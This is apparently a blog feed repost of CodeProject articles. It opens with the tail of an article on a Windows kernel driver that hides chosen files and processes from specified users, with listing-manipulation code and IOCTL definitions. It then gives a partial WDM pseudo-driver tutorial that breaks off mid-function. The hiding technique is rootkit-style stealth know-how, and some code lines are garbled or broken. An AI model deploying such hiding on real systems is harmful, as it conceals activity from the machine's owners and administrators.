<span class=code-comment>//</span><span class=code-comment>we already have definition WCHAR FileName[1](2 bytes)</span>
<span class=code-comment>//</span><span class=code-comment>so we need delete it from general sum</span>
MoveSize -= <span class=code-digit>2</span>;
<span class=code-comment>//</span><span class=code-comment> shift array to one element</span>
memcpy((PVOID)pFileInfo,(PUCHAR)pFileInfo+(size_t)(shift),MoveSize);
<span class=code-comment>//</span><span class=code-comment>start the loop from the beginning</span>
pass_me_once=true;
PreviousDelta = <span class=code-digit>0</span>;
<span class=code-keyword>continue</span>;
}
<span class=code-comment>//</span><span class=code-comment> if the file isn`t the first,</span>
<span class=code-comment>//</span><span class=code-comment> save the current offset</span>
ULONG curentDelta=pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset;
<span class=code-comment>//</span><span class=code-comment> go to one file back</span>
pFileInfo = (T)(((PUCHAR)pFileInfo)-PreviousDelta);
<span class=code-comment>//</span><span class=code-comment> if the file is the last</span>
<span class=code-keyword>if</span>(curentDelta == <span class=code-digit>0</span> )
{
<span class=code-comment>//</span><span class=code-comment> set the offset in 0</span>
<span class=code-comment>//</span><span class=code-comment> as the last file in array</span>
pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset = <span class=code-digit>0</span>;
<span class=code-keyword>break</span>;
}
<span class=code-comment>//</span><span class=code-comment>if the file isn`t the last, hide file and set additional offset</span>
pFileInfo-<span class=code-keyword>&gt;</span>NextEntryOffset = PreviousDelta + curentDelta;
}<span class=code-comment>//</span><span class=code-comment>while(pFileInfo-&gt;NextEntryDelta != 0)</span>
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<h2>GUI application</h2>
<p>The GUI application enables a user to choose processes or/and files for hiding in an easy way. In the attached file, you can find a sample of such an application. It was developed using MFC.</p>
<p>But, it should be mentioned here that you can create your own GUI application. IOCTLs and the <code>DeviceIoCotrol()</code> routine should be used for communication between the user-mode application and the driver.</p>
<p>You can find additional information about such communication implementations in the article: <a href="http://www.codeproject.com/KB/system/driverdev2.aspx">Driver Development Part 2: Introduction to Implementing IOCTLs</a>.</p>
<p>In the code below, all IOCTLs which can be used have been mentioned:</p>
<div class=SmallText id=premain4 style="WIDTH: 100%"><img id=preimg4 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="4"><span id=precollapse4 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/hide-driver.aspx#" preid="4"> Copy Code</a></div>
<pre id=pre4 style="MARGIN-TOP: 0px"><span class=code-preprocessor>#define</span> IOCTL_ADD_PROCESS_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
Format of input <span class=code-SDKkeyword>string</span> must be &#194;&#172;process_name_to_hide;user_name;process_name
or &#194;&#172;process_name_to_hide;*;*
where:
process_name_to_hide &#226;€&#8220; process name to hide; can be <span class=code-keyword>for</span> ex. *.*
user_name           - user<span class=code-string>'</span><span class=code-string> name, which mustn&#226;€&#8482;t see process
process_name       - process'</span> name, which mustn&#226;€&#8482;t see process
<span class=code-preprocessor>#define</span> IOCTL_DEL_PROCESS_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
Format of input <span class=code-SDKkeyword>string</span> must be process_name
where:
process_name         - process<span class=code-string>'</span><span class=code-string> name, which should be deleted from the list
#define IOCTL_CLEAR_PROCESS_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
Input string should be empty.
#define IOCTL_QUERY_PROCESS_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
Format of output string is process prosess_name\nprocess_name\n&#226;€&#166;\0
// File hooks IOCTLs
#define IOCTL_ADD_FILE_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS)
Format of input string must be file_name_to_hide;user_name;process_name
or file_name_to_hide;*;*
where:
file_name_to_hide    &#226;€&#8220; file name to hide; can be for ex. *.*
user_name           - user'</span> name, which mustn&#226;€&#8482;t see process
process_name       - process<span class=code-string>'</span><span class=code-string> name, which mustn&#226;€&#8482;t see process
#define IOCTL_DEL_FILE_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x902, METHOD_BUFFERED, FILE_ANY_ACCESS)
Format of input string must be file_name
where:
file_name            - file'</span> name, which should be deleted from the list
<span class=code-preprocessor>#define</span> IOCTL_CLEAR_FILE_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x903, METHOD_BUFFERED, FILE_ANY_ACCESS)
Input <span class=code-SDKkeyword>string</span> should be empty.
<span class=code-preprocessor>#define</span> IOCTL_QUERY_FILE_NAME CTL_CODE( \
FILE_DEVICE_UNKNOWN, 0x904, METHOD_BUFFERED, FILE_ANY_ACCESS)
Format of output <span class=code-SDKkeyword>string</span> is process file_name\nfile_name\n&#226;€&#166;\0</pre>
<h2>Documentation and additional info</h2>
<p>Documentation for the project as well as additional information can be found at the <a href="http://www.apriorit.com/student-projects/driver-to-hide-files-and-processes.html">Apriorit Education page</a>.</p>
<h2>History</h2>
<h3>21/01/2009</h3>
<ul>
    <li>Initial version of this article. </li>
</ul>
<h3>12/02/2009 </h3>
<ul>
    <li>Added possibility to build the solution in VS2003, VS2005, and VS2008.
    <li>Added the topic "How to build this solution". </li>
</ul>
<!-- Main Page Contents End -->
<form id=aspnetForm style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" name=aspnetForm action=displayarticle.aspx method=post>
    <div><input id=__VIEWSTATE type=hidden value=/wEPDwUKMTAyMTMzODg1Ng9kFgJmD2QWBAILD2QWBgIDDw8WAh4HVmlzaWJsZWdkZAIJDw8WAh8AZ2RkAgwPDxYCHwBnZGQCDA9kFgoCBw9kFg4CAQ9kFgJmDxYCHgtfIUl0ZW1Db3VudAIBFgICAQ9kFgQCAQ8PFgIeCEltYWdlVXJsBSYvc2NyaXB0L0F3YXJkcy9JbWFnZXMvcHJpemVfd2lubmVyLmdpZmRkAgMPFgIeBFRleHQFJiJCZXN0IEMrKy9NRkMgYXJ0aWNsZSBvZiBKYW51YXJ5IDIwMDkiZAIDD2QWCmYPDxYCHgtOYXZpZ2F0ZVVybAUpL0tCL3N5c3RlbS9oaWRlLWRyaXZlci5hc3B4P2Rpc3BsYXk9UHJpbnRkZAIBDw8WAh8EBSYvc2NyaXB0L0FydGljbGVzL1JlcG9ydC5hc3B4P2FpZD0zMjc0NGRkAgIPDxYCHwBoZGQCAw8PFgIfAGhkZAIFDw8WAh8EBTEvc2NyaXB0L2NvbW1vbi9UZWxsRnJpZW5kLmFzcHg/b2J0aWQ9MiZvYmlkPTMyNzQ0ZGQCBQ9kFgQCAQ9kFgICAQ8PFgIfAwUaNjkgdm90ZXMgZm9yIHRoaXMgQXJ0aWNsZS5kZAIHD2QWAmYPZBYEAgEPDxYEHwMFEFBvcHVsYXJpdHk6IDcuODEfBAUpL3NjcmlwdC9BcnRpY2xlcy9Ub3BBcnRpY2xlcy5hc3B4P3RhX3NvPTFkZAIFDxYCHwMFHFJhdGluZzogPGI+NC4yNTwvYj4gb3V0IG9mIDVkAhkPZBYKAgEPZBYEAgEPFgIeCWlubmVyaHRtbAW2ATxwPlRoaXMgYXJ0aWNsZSwgYWxvbmcgd2l0aCBhbnkgYXNzb2NpYXRlZCBzb3VyY2UgY29kZSBhbmQgZmlsZXMsIGlzIGxpY2Vuc2VkIHVuZGVyIDxhIGhyZWY9Imh0dHA6Ly93d3cuY29kZXByb2plY3QuY29tL2luZm8vY3BvbDEwLmFzcHgiPlRoZSBDb2RlIFByb2plY3QgT3BlbiBMaWNlbnNlIChDUE9MKTwvYT48L3A+ZAICD2QWAgIBDxBkZBYAZAIFDxYCHwECAWQCBw8WAh8DBdcHPGgyPk90aGVyIHBvcHVsYXIgSGFyZHdhcmUgJiBTeXN0ZW0gYXJ0aWNsZXM6PC9oMj48dWw+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0veHludHNlcnZpY2UuYXNweCI+U3RhcnQgWW91ciBXaW5kb3dzIFByb2dyYW1zIEZyb20gQW4gTlQgU2VydmljZTwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPk1ha2UgeW91ciBNRkMsIFZCIGFuZCBvdGhlciBXaW5kb3dzIHByb2dyYW1zIGJlaGF2ZSBsaWtlIE5UIHNlcnZpY2VzLjwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vc2VyaWFsLmFzcHgiPlNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5BIGhpZ2gtcGVyZm9ybWFuY2UsIGNvbXBsZXRlIGFuZCBjb21wYWN0IHNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2Rpdj48L2xpPjxsaT48YSBocmVmPSIvS0Ivc3lzdGVtL2RyaXZlcmRldi5hc3B4Ij5Ecml2ZXIgRGV2ZWxvcG1lbnQgUGFydCAxOiBJbnRyb2R1Y3Rpb24gdG8gRHJpdmVyczwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPlRoaXMgYXJ0aWNsZSB3aWxsIGdvIGludG8gdGhlIGJhc2ljcyBvZiBjcmVhdGluZyBhIHNpbXBsZSBkcml2ZXIuPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9ob29rc3lzLmFzcHgiPkFQSSBob29raW5nIHJldmVhbGVkPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+VGhlIGFydGljbGUgZGVtb25zdHJhdGVzIGhvdyB0byBidWlsZCBhIHVzZXIgbW9kZSBXaW4zMiBBUEkgc3B5aW5nIHN5c3RlbTwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vTm9EZWxldGVEZWxheS5hc3B4Ij5FbGltaW5hdGluZyBFeHBsb3JlcidzIGRlbGF5IHdoZW4gZGVsZXRpbmcgYW4gaW4tdXNlIGZpbGU8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5Ib3cgdG8gdHJhY2sgZG93biBhbmQgcGF0Y2ggYW4gYW5ub3lhbmNlIGluIFdpbmRvd3MgRXhwbG9yZXIncyBjb2RlLjwvZGl2PjwvbGk+PC91bD5kAgkPDxYCHwBnZGQCDQ9kFgJmD2QWAgIBD2QWAmYPZBYCAgkPFgIfAGgWAgIBDxBkZBYAZAIbDw8WAh8AZ2RkAh0PDxYCHwBnZGQCJQ8WAh8AaGQCCw8PFgIfBAUnL3NjcmlwdC9BcnRpY2xlcy9BcnRpY2xlLmFzcHg/YWlkPTMyNzQ0ZGQCEQ8WAh8DBQsxMiBGZWIgMjAwOWQCEw8PFgQfAwUOU21pdGhhIFZpamF5YW4fBAUmL3NjcmlwdC9NZW1iZXJzaGlwL1ZpZXcuYXNweD9taWQ9Mjg5NzBkZAIVDxYCHwMFHkNvcHlyaWdodCAyMDA5IGJ5IEFwcmlvcml0IEluY2RkAOjkCHJczg3rBmeAE4ooB/a26V8= name=__VIEWSTATE> </div>
    <h2>License</h2>
    <div id=ctl00_LicenseTerms>
    <p>This article, along with any associated source code and files, is licensed under <a href="http://www.codeproject.com/info/cpol10.aspx">The Code Project Open License (CPOL)</a></p>
    </div>
</form>
<img src ="http://www.cppblog.com/iniwf/aggbug/79646.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:52 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79646.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>A simple demo for WDM Driver development</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79645.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:46:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79645.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79645.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79645.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79645.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79645.html</trackback:ping><description><![CDATA[转自<a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx">http://www.codeproject.com/KB/system/WDM_Driver_development.aspx</a><br><br>
<ul class=download>
    <li><a href="http://www.codeproject.com/KB/system/WDM_Driver_development/PseudoDriverSrc.zip">Download demo source project - 160 Kb</a> </li>
</ul>
<h2>Introduction</h2>
<p>A lot of articles have been investigating in application layer issues, like skin-based dialogs, MFC, ATL, thread, process, registry etc. It won't be easy to find any driver related articles posted with full source code. The root cause is that most drivers are developed for specific hardware. Without the domain knowledge, you will never want to get in touch with it. I believe a lot of software engineers are afraid when they involve in kernel mode programming for the very first time, and there are not too much resources that can guide them through the whole process from DDK study to program stage. Hence I decided to share some of my experiences in driver programming in Windows. This demo focuses on a quick introduction to WDM Driver's architecture, and will introduce&nbsp;two I/O modes coming with Windows, which are Direct I/O and Buffered I/O, how to communicate with drivers residing in system kernel space, and read/write data to it.</p>
<p>There is no need for you to read the demo program with any hardware related background, the demo drivers are all pseudo drivers. That's drivers installed without a physical device in computer.</p>
<p>The member functions defined in this demo program can be used as templates for later driver development by you.</p>
<h2>Background</h2>
<p>You might be a well-experienced software engineer and might want to involve in kernel programming.</p>
<h2>Create your WDM Driver: a Pseudo Driver tutorial</h2>
<p>Before we start, declaration for member routines and structures is required. The most important driver-required data structure is - <code>DEVICE_EXTENSION</code>!</p>
<div class=SmallText id=premain0 style="WIDTH: 100%"><img id=preimg0 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="0"><span id=precollapse0 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="0"> Copy Code</a></div>
<pre id=pre0 style="MARGIN-TOP: 0px"><span class=code-keyword>typedef</span> <span class=code-keyword>struct</span> tagDEVICE_EXTENSION {
PDEVICE_OBJECT DeviceObject;       <span class=code-comment>//</span><span class=code-comment> device object this driver creates
</span>    PDEVICE_OBJECT NextDeviceObject;   <span class=code-comment>//</span><span class=code-comment> next-layered device object in this
</span>                                       <span class=code-comment>//</span><span class=code-comment> device stack
</span>    DEVICE_CAPABILITIES pdc;           <span class=code-comment>//</span><span class=code-comment> device capability
</span>    IO_REMOVE_LOCK RemoveLock;         <span class=code-comment>//</span><span class=code-comment> removal control locking structure
</span>    LONG handles;                      <span class=code-comment>//</span><span class=code-comment> # open handles
</span>    PVOID DataBuffer;                  <span class=code-comment>//</span><span class=code-comment> Internal Buffer for Read/Write I/O
</span>    UNICODE_STRING Device_Description; <span class=code-comment>//</span><span class=code-comment> Device Description
</span>    SYSTEM_POWER_STATE SysPwrState;    <span class=code-comment>//</span><span class=code-comment> Current System Power State
</span>    DEVICE_POWER_STATE DevPwrState;    <span class=code-comment>//</span><span class=code-comment> Current Device Power State
</span>    PIRP PowerIrp;                     <span class=code-comment>//</span><span class=code-comment> Current Handling Power-Related IRP
</span>} DEVICE_EXTENSION, *PDEVICE_EXTENSION;</pre>
<p>Code segment below demonstrates the start of creating a valid WDM Driver.</p>
<p><img height=350 src="http://www.codeproject.com/KB/system/WDM_Driver_development/DriverMembers.jpg" width=565></p>
<p>There are mandatory and optional members in a WDM Driver. A valid WDM Driver should come with the following member routines, the most important task item for <code>DriverEntry</code> is to register all member routines to kernel:</p>
<div class=SmallText id=premain1 style="WIDTH: 100%"><img id=preimg1 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="1"><span id=precollapse1 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="1"> Copy Code</a></div>
<pre id=pre1 style="MARGIN-TOP: 0px"><span class=code-comment>//</span><span class=code-comment>
</span>NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
RtlInitUnicodeString(
&amp;Global_sz_Drv_RegInfo,
RegistryPath-<span class=code-keyword>&gt;</span>Buffer);
<span class=code-comment>//</span><span class=code-comment> Initialize function pointers
</span>
DriverObject-<span class=code-keyword>&gt;</span>DriverUnload = DriverUnload;
DriverObject-<span class=code-keyword>&gt;</span>DriverExtension-<span class=code-keyword>&gt;</span>AddDevice = AddDevice;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_CREATE] = PsdoDispatchCreate;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_CLOSE] = PsdoDispatchClose;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_READ] = PsdoDispatchRead;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_WRITE] = PsdoDispatchWrite;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_DEVICE_CONTROL] = PsdoDispatchDeviceControl;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_POWER] = PsdoDispatchPower;
DriverObject-<span class=code-keyword>&gt;</span>MajorFunction[IRP_MJ_PNP] = PsdoDispatchPnP;
<span class=code-keyword>return</span> STATUS_SUCCESS;
}
<span class=code-comment>//</span><span class=code-comment></span></pre>
<p><img height=448 src="http://www.codeproject.com/KB/system/WDM_Driver_development/DriverWorkflow.jpg" width=554></p>
<p>Normal operation workflow within WDM Driver</p>
<p>Code segment below demonstrates the workflow in <code>AddDevice</code> routine: the most important task for <code>AddDevice</code> routine is to create a Device object, and attach it to the existing device stack.</p>
<div class=SmallText id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="2"> Copy Code</a></div>
<pre id=pre2 style="MARGIN-TOP: 0px">NTSTATUS
AddDevice(
IN PDRIVER_OBJECT DriverObject,
IN PDEVICE_OBJECT PhysicalDeviceObject
)
{
ULONG DeviceExtensionSize;
PDEVICE_EXTENSION p_DVCEXT;
PDEVICE_OBJECT ptr_PDO;
NTSTATUS status;
RtlInitUnicodeString(
&amp;Global_sz_DeviceName, L<span class=code-string>"</span><span class=code-string>"</span>);
<span class=code-comment>//</span><span class=code-comment>Get DEVICE_EXTENSION required memory space
</span>    DeviceExtensionSize = <span class=code-keyword>sizeof</span>(DEVICE_EXTENSION);
<span class=code-comment>//</span><span class=code-comment>Create Device Object
</span>    status = IoCreateDevice(
DriverObject,
DeviceExtensionSize,
&amp;Global_sz_DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&amp;ptr_PDO
);
<span class=code-keyword>if</span> (NT_SUCCESS(status)) {
ptr_PDO-<span class=code-keyword>&gt;</span>Flags &amp;= ~DO_DEVICE_INITIALIZING;
ptr_PDO-<span class=code-keyword>&gt;</span>Flags |= DO_BUFFERED_IO;  <span class=code-comment>//</span><span class=code-comment>For Buffered I/O
</span>        <span class=code-comment>//</span><span class=code-comment>ptr_PDO-&gt;Flags |= DO_DIRECT_IO;  //For Direct I/O
</span>        p_DVCEXT = ptr_PDO-<span class=code-keyword>&gt;</span>DeviceExtension;
p_DVCEXT-<span class=code-keyword>&gt;</span>DeviceObject = ptr_PDO;
RtlInitUnicodeString(
<span class=code-comment>/*</span><span class=code-comment>
//Other initialization tasks go here
*/</span>
<span class=code-comment>//</span><span class=code-comment>Store next-layered device object
</span>        <span class=code-comment>//</span><span class=code-comment>Attach device object to device stack
</span>        p_DVCEXT-<span class=code-keyword>&gt;</span>NextDeviceObject =
IoAttachDeviceToDeviceStack(ptr_PDO, PhysicalDeviceObject);
}
<span class=code-keyword>return</span> status;
}</pre>
<p>Code segment below shows how to support <code>IRP_MJ_CREATE</code>, it is send when client application tries to connect to the underlying Pseudo Driver. Before proceeding, see graph below in advance to realize the connection process.</p>
<p><img height=609 src="http://www.codeproject.com/KB/system/WDM_Driver_development/IRP_MJ_CREATE.jpg" width=596></p>
<p>Usually, you will use <code>CreateFile</code>/<code>fopen</code> Win32 API to connect to the underlying device. It is the right time that Win32 Subsystem submits <code>IRP_MJ_CREATE</code> and asks driver to connect to the target device!</p>
<div class=SmallText id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="3"> Copy Code</a></div>
<pre id=pre3 style="MARGIN-TOP: 0px">NTSTATUS
PsdoDispatchCreate(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PIO_STACK_LOCATION p_IO_STK;
PDEVICE_EXTENSION p_DVCEXT;
NTSTATUS status;
p_IO_STK = IoGetCurrentIrpStackLocation(Irp);
p_DVCEXT = DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
status = IoAcquireRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, p_IO_STK-<span class=code-keyword>&gt;</span>FileObject);
<span class=code-keyword>if</span> (NT_SUCCESS(status)) {
CompleteRequest(Irp, STATUS_SUCCESS, <span class=code-digit>0</span>);
<span class=code-keyword>return</span> STATUS_SUCCESS;
} <span class=code-keyword>else</span> {
IoReleaseRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, p_IO_STK-<span class=code-keyword>&gt;</span>FileObject);
CompleteRequest(Irp, status, <span class=code-digit>0</span>);
<span class=code-keyword>return</span> status;
}
}</pre>
<p>Code segment below shows how to support <code>IRP_MJ_CLOSE</code>, the IRP is sent when client application tries to close connection to the underlying Pseudo Driver. Before proceeding, see graph below in advance to realize the closing process.</p>
<p><img height=584 src="http://www.codeproject.com/KB/system/WDM_Driver_development/IRP_MJ_CLOSE.jpg" width=603></p>
<p>Usually, you will use <code>CloseHandle</code>/<code>fclose</code> Win32 API to close connection to the underlying device. It is the right time that Win32 Subsystem submits <code>IRP_MJ_CLOSE</code> and asks driver to close connection to target device!</p>
<div class=SmallText id=premain4 style="WIDTH: 100%"><img id=preimg4 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="4"><span id=precollapse4 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="4"> Copy Code</a></div>
<pre id=pre4 style="MARGIN-TOP: 0px">NTSTATUS
PsdoDispatchClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PIO_STACK_LOCATION p_IO_STK;
PDEVICE_EXTENSION p_DVCEXT;
p_IO_STK = IoGetCurrentIrpStackLocation(Irp);
p_DVCEXT = DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
IoReleaseRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock,
p_IO_STK-<span class=code-keyword>&gt;</span>FileObject);
CompleteRequest(Irp, STATUS_SUCCESS, <span class=code-digit>0</span>);
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<h2>I/O Support : Buffered I/O Mode</h2>
<p>There are three I/O modes in Windows kernel, they are Buffer, Direct and Neither modes. Now, we'll talk about Buffered I/O, and this article will not involve Neither mode for data transfer if processing under user-thread occupied memory space, it might be dangerous!! If client application is going to read/write data to and from driver, the memory address of data source will not be directly referenced by the underlying driver. System kernel will allocate another data buffer with equivalent size in kernel. All data transferred must be copied into this area before they are to the target place. Usually, you will call <code>ReadFile</code>/<code>WriteFile</code> or <code>fread</code>/<code>fwrite</code> to make read/write request.</p>
<p><img height=597 src="http://www.codeproject.com/KB/system/WDM_Driver_development/BufferedIO.jpg" width=600></p>
<p>Below code segment demos the workflow in I/O handle for read request. As we can see, the routine that is registered for reading is <code>PsdoDispatchRead</code> in <code>DriverEntry</code>, this member routine will read data out of Driver's internal member - <code>DataBuffer</code> to client application:</p>
<div class=SmallText id=premain5 style="WIDTH: 100%"><img id=preimg5 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="5"><span id=precollapse5 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="5"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="5"> Copy Code</a></div>
<pre id=pre5 style="MARGIN-TOP: 0px">NTSTATUS
PsdoDispatchRead(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PVOID Buf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by user program
</span>    ULONG BufLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for user provided buffer
</span>    LONGLONG Offset;<span class=code-comment>//</span><span class=code-comment>Buffer Offset
</span>    PVOID DataBuf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by Driver
</span>    ULONG DataLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for Driver Data Buffer
</span>    ULONG ByteTransferred;
PIO_STACK_LOCATION p_IO_STK;
PDEVICE_EXTENSION p_DVCEXT;
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_READ : Begin\r\n"</span>);
<span class=code-comment>//</span><span class=code-comment>Get I/o Stack Location &amp; Device Extension
</span>    p_IO_STK = IoGetCurrentIrpStackLocation(Irp);
p_DVCEXT = DeviceObject-<span class=code-keyword>&gt;</span>DeviceExtension;
<span class=code-comment>//</span><span class=code-comment>Get User Output Buffer &amp; Length
</span>    BufLen = p_IO_STK-<span class=code-keyword>&gt;</span>Parameters.Read.Length;
Offset = p_IO_STK-<span class=code-keyword>&gt;</span>Parameters.Read.ByteOffset.QuadPart;
Buf = (PUCHAR)(Irp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer) + Offset;
<span class=code-comment>//</span><span class=code-comment>Get Driver Data Buffer &amp; Length
</span>    DataBuf = p_DVCEXT-<span class=code-keyword>&gt;</span>DataBuffer;
<span class=code-keyword>if</span> (DataBuf == NULL)
DataLen = <span class=code-digit>0</span>;
<span class=code-keyword>else</span>
DataLen = <span class=code-digit>1024</span>;
IoAcquireRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
DbgPrint(<span class=code-string>"</span><span class=code-string>Output Buffer Length : %d\r\n"</span>, BufLen);
DbgPrint(<span class=code-string>"</span><span class=code-string>Driver Data Length : %d\r\n"</span>, DataLen);
<span class=code-comment>//</span><span class=code-comment>
</span>    <span class=code-keyword>if</span> (BufLen <span class=code-keyword>&lt;</span>= DataLen) {
ByteTransferred = BufLen;
} <span class=code-keyword>else</span> {
ByteTransferred = DataLen;
}
RtlCopyMemory(
Buf, DataBuf,
ByteTransferred);
IoReleaseRemoveLock(&amp;p_DVCEXT-<span class=code-keyword>&gt;</span>RemoveLock, Irp);
CompleteRequest(Irp, STATUS_SUCCESS, ByteTransferred);
DbgPrint(<span class=code-string>"</span><span class=code-string>IRP_MJ_READ : End\r\n"</span>);
<span class=code-keyword>return</span> STATUS_SUCCESS;
}</pre>
<p>Below code segment demos the possible task items in workflow that can support the normal I/O requests to write data from application to driver.</p>
<div class=SmallText id=premain6 style="WIDTH: 100%"><img id=preimg6 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="6"><span id=precollapse6 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="6"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/WDM_Driver_development.aspx#" preid="6"> Copy Code</a></div>
<pre id=pre6 style="MARGIN-TOP: 0px">NTSTATUS
PsdoDispatchWrite(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PVOID Buf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by user program
</span>    ULONG BufLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for user provided buffer
</span>    LONGLONG Offset;<span class=code-comment>//</span><span class=code-comment>Buffer Offset
</span>    PVOID DataBuf; <span class=code-comment>//</span><span class=code-comment>Buffer provided by Driver
</span>    ULONG DataLen; <span class=code-comment>//</span><span class=code-comment>Buffer length for Driver Data Buffer
</span>    ULONG ByteTransferred;
PIO_STACK_LOCATION p_IO_STK;
